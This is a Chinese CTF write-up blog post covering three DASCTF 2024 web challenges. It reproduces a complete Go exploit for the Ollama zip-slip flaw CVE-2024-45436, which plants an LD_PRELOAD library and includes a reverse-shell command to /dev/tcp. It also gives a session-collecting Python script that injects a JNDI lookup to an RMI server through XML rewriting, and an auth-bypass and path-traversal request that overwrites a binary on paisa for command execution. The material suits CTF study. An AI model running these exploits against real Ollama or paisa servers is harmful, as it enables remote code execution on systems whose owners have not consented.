DASCTF-2024金秋十月

DASCTF 2024金秋十月| 秋意浓 战火燃 码上见真章

没打,web三道0解题,赛后随便看看wp,看看思路

flow

任意文件读取

直接/proc/1/environ

image-20241024011516451

ollama4shell

提示:CVE-2024-45436 LD_PRELOAD

CVE-2024-45436

image-20241024011722750

image-20241024011851157

看了下描述以及代码比较,大概就是像zipslip一样的漏洞

让文件的名字为../../xx就能够任意穿越目录

func GenEvilZip() (string, error) {
    zipFile, err := os.Create("evil.zip")
    if err != nil {
        return "", err
    }
    zw := zip.NewWriter(zipFile)

    preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
    _, err = preloadFile.Write([]byte("/tmp/hook.so"))
    if err != nil {
        return "", err
    }
    soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
    if err != nil {
        return "", err
    }
    locSoFile, err := os.Open("hook.so")
    if err != nil {
        return "", err
    }
    defer locSoFile.Close()
    io.Copy(soFile, locSoFile)

    zw.Close()
    zipFile.Close()

    return "evil.zip", nil
}

LD_PRELOAD

我们常知的LD_PRELOAD是一个环境变量

但是他也存在一个对应的文件是在/etc/ld.so.preload,内容为指定的so文件路径(例如/tmp/xx.so)

官方payload

知道以上这两点大概就可以了,其他一些细节就不看了

需要在linux下运行,环境需要有gcc
安装golang,执行如下命令反弹shell
go run main.go -target http://127.0.0.1:11434/ -exec "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1"
package main

import (
    "archive/zip"
    "bufio"
    "bytes"
    "crypto/sha256"
    "encoding/json"
    "flag"
    "fmt"
    "io"
    "log"
    "net/http"
    "net/url"
    "os"
    "os/exec"
    "strconv"
    "strings"
)

const CODE = `#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) myInitFunction() {
    const char *f1 = "/etc/ld.so.preload";
    const char *f2 = "/tmp/hook.so";
    unlink(f1);
    unlink(f2);
    system("bash -c '%s'");
}`

func main() {

    var targetUrl string
    var execCmd string
    flag.StringVar(&targetUrl, "target", "", "target url")
    flag.StringVar(&execCmd, "exec", "", "exec command")
    flag.Parse()
    if targetUrl == "" {
        fmt.Println("target url is required")
        os.Exit(1)
    }

    u := FormatUrl(targetUrl)

    detectRes, err := Detect(u)
    if err != nil {
        log.Fatal(err)
    }
    if !detectRes {
        fmt.Println("\nVulnerability does not exist")
        os.Exit(1)
    }
    fmt.Println("\nVulnerability does exist!!!")

    if execCmd == "" {
        fmt.Println("exec command is required")
        os.Exit(1)
    }

    _, err = GenEvilSo(execCmd)
    if err != nil {
        log.Fatal(err)
    }
    evilZipName, err := GenEvilZip()
    if err != nil {
        log.Fatal(err)
    }

    blobSha256Name, err := UploadBlob(u, evilZipName)
    if err != nil {
        log.Fatal(err)
    }
    err = Create(u, strings.ReplaceAll(blobSha256Name, ":", "-"))
    if err != nil {
        log.Fatal(err)
    }
    err = EmbeddingsExec(u, "all-minilm:22m")
    if err != nil {
        log.Fatal(err)
    }
}

func GenEvilSo(cmd string) (string, error) {
    code := fmt.Sprintf(CODE, cmd)
    err := os.WriteFile("tmp.c", []byte(code), 0644)
    if err != nil {
        return "", err
    }

    compile := exec.Command("gcc", "tmp.c", "-o", "hook.so", "-fPIC", "-shared", "-ldl", "-D_GNU_SOURCE")
    err = compile.Run()
    if err != nil {
        fmt.Println(err)
        return "", err
    }
    return "hook.so", nil
}

func GenEvilZip() (string, error) {
    zipFile, err := os.Create("evil.zip")
    if err != nil {
        return "", err
    }
    zw := zip.NewWriter(zipFile)

    preloadFile, err := zw.Create("../../../../../../../../../../etc/ld.so.preload")
    _, err = preloadFile.Write([]byte("/tmp/hook.so"))
    if err != nil {
        return "", err
    }
    soFile, err := zw.Create("../../../../../../../../../../tmp/hook.so")
    if err != nil {
        return "", err
    }
    locSoFile, err := os.Open("hook.so")
    if err != nil {
        return "", err
    }
    defer locSoFile.Close()
    io.Copy(soFile, locSoFile)

    zw.Close()
    zipFile.Close()

    return "evil.zip", nil
}

func UploadBlob(url, fileName string) (string, error) {
    f, err := os.Open(fileName)
    if err != nil {
        return "", err
    }
    defer f.Close()
    h := sha256.New()
    if _, err := io.Copy(h, f); err != nil {
        return "", err
    }
    fName := fmt.Sprintf("sha256:%x", h.Sum(nil))

    _, err = f.Seek(0, 0)
    if err != nil {
        return "", err
    }

    newReader := bufio.NewReader(f)

    res, err := http.Post(url+"/api/blobs/"+fName, "application/octet-stream", newReader)
    if err != nil {
        return "", err
    }

    content, err := io.ReadAll(res.Body)
    if err != nil {
        return "", err
    }
    fmt.Println("http log: " + string(content))
    return fName, nil
}

func Create(url, remoteFilePath string) error {
    jsonContent := []byte(fmt.Sprintf(`{"name": "test","modelfile": "FROM /root/.ollama/models/blobs/%s"}`, remoteFilePath))

    res, err := http.Post(url+"/api/create", "application/json", bytes.NewBuffer(jsonContent))

    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func EmbeddingsExec(url, model string) error {
    for i := 0; i < 3; i++ {
        jsonContent := []byte(fmt.Sprintf(`{"model":"%s","keep_alive": 0}`, model))
        res, err := http.Post(url+"/api/embeddings", "application/json", bytes.NewBuffer(jsonContent))
        if err != nil {
            return err
        }

        if res.StatusCode != 200 {
            fmt.Println("pulling model, please wait......")
            err := PullMinilmModel(url)
            if err != nil {
                return err
            }
        } else {
            content, err := io.ReadAll(res.Body)
            if err != nil {
                return err
            }
            fmt.Println("http log: " + string(content))
            break
        }
    }

    return nil
}

func PullMinilmModel(url string) error {
    jsonContent := `{"name":"all-minilm:22m"}`
    res, err := http.Post(url+"/api/pull", "application/json", bytes.NewBuffer([]byte(jsonContent)))
    if err != nil {
        return err
    }
    content, err := io.ReadAll(res.Body)
    if err != nil {
        return err
    }
    fmt.Println("http log: " + string(content))
    return nil
}

func Detect(url string) (bool, error) {
    res, err := http.Get(url + "/api/version")
    if err != nil {
        return false, err
    }
    var jsonMap map[string]string
    jsonContent, err := io.ReadAll(res.Body)
    if err != nil {
        return false, err
    }
    if err := json.Unmarshal(jsonContent, &jsonMap); err != nil || jsonMap["version"] == "" {
        return false, err
    }
    return isVersionLessThan(jsonMap["version"], "0.1.47"), nil
}

func FormatUrl(u string) string {
    ur, err := url.Parse(u)
    if err != nil {
        fmt.Println(ur)
    }
    return fmt.Sprintf("%s://%s", ur.Scheme, ur.Host)
}

func isVersionLessThan(version, target string) bool {
    v1 := strings.Split(version, ".")
    v2 := strings.Split(target, ".")

    for i := 0; i < len(v1) && i < len(v2); i++ {
        num1, _ := strconv.Atoi(v1[i])
        num2, _ := strconv.Atoi(v2[i])
        if num1 < num2 {
            return true
        } else if num1 > num2 {
            return false
        }
    }

    return len(v1) < len(v2)
}

ezlogin

大概功能就是根据username,创建username.xml文件

漏洞点

image-20241024015831014

image-20241024015908196

注册的username和password都会被存储在session中

然后在/editPass会从session中获取password,然后替换所有匹配的旧密码为新密码

总之关键就在这个session中,也就是网页中的JSESSIONID

看了payload大概就懂了

不同的session就对应着不同的旧密码(也就是想要被替换的内容)

那我们收集不同的session(这些session的username是相同的,因为最后是要对同一个文件进行替换)

/editPass路由使用不同的JSESSIONID就可以替换不同的旧密码

sessions = {}


def register(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/register",data=data)
    if "success" in res.text.lower():
        print(f"register {passwd} success")
    else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
    data={"password":passwd,"username":"F"}
    res = requests.post(targeturl+"/login",data=data)
    if "redirect" in res.text.lower() :
        session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
        print(f"session for {passwd} : {session}")
        headers = {"Cookie" : f"JSESSIONID={session}"}
        sessions[passwd] = headers
    else:
        print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
    data={"newPass":newpass}
    headers = sessions[oldpass]
    res = requests.post(targeturl+"/editPass",data=data,headers=headers)
    if "success" in res.text.lower():
        print(f"change {oldpass} to {newpass} success")
    else:
        print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
    res = requests.get(targeturl+"/del",headers=sessions[passwd])
    if "success" in res.text.lower():
        print(f"delete {passwd} success")

def addsession(passwd):
    register(passwd)
    getsession(passwd) 
    #不带JSESSIONID登录就会新生成一个JSESSIONID,并把username和password存入其中
    #然后把password和收集到的JSESSIONID存入一个集合当中
    
    deluser(passwd) # 删除的仅仅是xml文件  

经过不断地addsession我们就可以收集到各种被替换内容对应的JSESSIONID

addsession("_____")

addsession("____")

for s in list3:
    addsession(s)

for s in list4:
    addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession("    ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")

print(sessions)
sessions = {'11111 clas': {'Cookie': 'JSESSIONID=3DDADA93735FEE377FF56EF8BB4D36DF'}, 's="org.exa': {'Cookie': 'JSESSIONID=29CDD7E21332352DCF0179FBAAF32777'}, 'mple.auth.': {'Cookie': 'JSESSIONID=F4E5C97709AEB4BE9B9BEF452FF4C1AF'}, 'User"': {'Cookie': 'JSESSIONID=34001B3288FA13128D240635B0CA0BF1'}, '_____': {'Cookie': 'JSESSIONID=C5255A7093E05221941777A68546E158'}, '____': {'Cookie': 'JSESSIONID=858B8E2E3B19ED9C0142EDAC8C04D10D'}, 'void prope': {'Cookie': 'JSESSIONID=F3EA3DD09603E77C9410BBC3648712A4'}, 'rty="usern': {'Cookie': 'JSESSIONID=CC18DB0DE6287E4878BCAEEABAD34741'}, 'ame"': {'Cookie': 'JSESSIONID=2A52DD10FFAC76CE261FA14FBA57F229'}, 'rty="passw': {'Cookie': 'JSESSIONID=3A74F4CED350E5EED4C0056621154E9F'}, 'ord"': {'Cookie': 'JSESSIONID=562CCFD6EDBA5E26B1028F982920E7E0'}, 'string': {'Cookie': 'JSESSIONID=75C1F992F3EBA13C93B2A8018591E647'}, 'object': {'Cookie': 'JSESSIONID=EBEB7322E453778D69E370B1EE93EBBA'}, '/void': {'Cookie': 'JSESSIONID=6B59B6860C4EAA2D8B14C291AAC11312'}, '    ': {'Cookie': 'JSESSIONID=631A6E3E527843501AE5E86428C1F8A8'}, '1111111111': {'Cookie': 'JSESSIONID=CE2B99F685F3AC30699ABD4BC8D90E11'}, '/11111': {'Cookie': 'JSESSIONID=F80C6E63D6D862464C94E75BF93CFBB7'}, 'java': {'Cookie': 'JSESSIONID=4FFCC573DDD7D7601B240F9B344A9471'}, '11111': {'Cookie': 'JSESSIONID=4E6E7BB9E06AC26C61F4704DC910C3BF'}, 'haha': {'Cookie': 'JSESSIONID=4B1198B7321DE26C437493A69F6A9C25'}}

然后我们就可以用它去修改对应内容了

根据提示我们可以使用<!--注释掉内容

经过替换后达到这样的效果

<!-->
111<111>
111<111>
111<111>F<111>
111<111>
111<111>
111<111>haha<111>
111<111>
111<111>
</!-->

为什么那么多1是为了减少xml的长度,不能只注释

最后替换掉haha

使用闭合注释-->然后是我们想要的xml内容

WP中给出的利用是jndi注入

<java>
  <object class="javax.naming.InitialContext">
    <void method="lookup">
      <string>rmi://ip:port/a</string>
    </void>
  </object>
</java>

所以大概就是

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"

最后效果

<!-->
111<111>
111<111>
111<111>F<111>
111<111>
111<111>
111<111>--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://1.2.3.4:7777/a</string></void></object></java><!--<111>
111<111>
111<111>
</!-->

然后wp中使用JRMPListener配合jackson链子构造服务端

我还是喜欢使用ldap打jackson链

总而言之,这个题目的关键在于把想要替换的内容通过登录生成JSESSIONID,然后收集这些session

最后利用那些session对同一个文件进行替换

paisa4shell

pankas师傅已经发布了issue,paisa <=v0.7.0 web server has an unauthorized remote command execution vulnerability · Issue #294 · ananthakumaran/paisa (github.com)

提示:

前台RCE,使用官方docker镜像;https://github.com/ananthakumaran/paisa

鉴权能绕、文件覆盖

路由逻辑都是在server.go中

wp分析

image-20241024142118859

使用中间件鉴权

image-20241024143129801

主要是判断了是不是/api前缀

这里就要绕过一下

c.Request.RequestURI获取的是原始的请求URI,gin框架的路由选择是根据 c.Request.URL.Path 来确定的,所以我们可以通过URL编码的方式绕过这个中间件的检测

image-20241024145113480

image-20241024160751871

image-20241024162625875

能够进行文件覆盖

分析一下/api/editor/validate

image-20241024163752763

image-20241024163852539

image-20241024163921465

image-20241024163949526

image-20241024164136324

大概就是会寻找二进制文件ledger所在的路径,然后执行这个文件

配合上一个能够文件覆盖的功能,我们可以写一个sh文件内容

POST /%61pi/sheets/save HTTP/1.1
Host: 127.0.0.1:7500
Connection: close
Content-Type: application/json
Content-Length: 60

{"name":"../../../usr/bin/ledger","content":"#!/bin/sh\nls /"}

image-20241024164403309

这个路径可以一个一个试,文件不存在时会显示File does not exist

image-20241024164659021

然后就会执行

image-20241024164824782

image-20241024164832845

其余发现

image-20241024164959688

/api/editor/save同样存在文件覆盖功能

image-20241024165314507

存在任意文件读取功能

image-20241024165259699


DASCTF-2024金秋十月
https://zer0peach.github.io/2024/10/24/DASCTF-2024金秋十月/
作者
Zer0peach
发布于
2024年10月24日
许可协议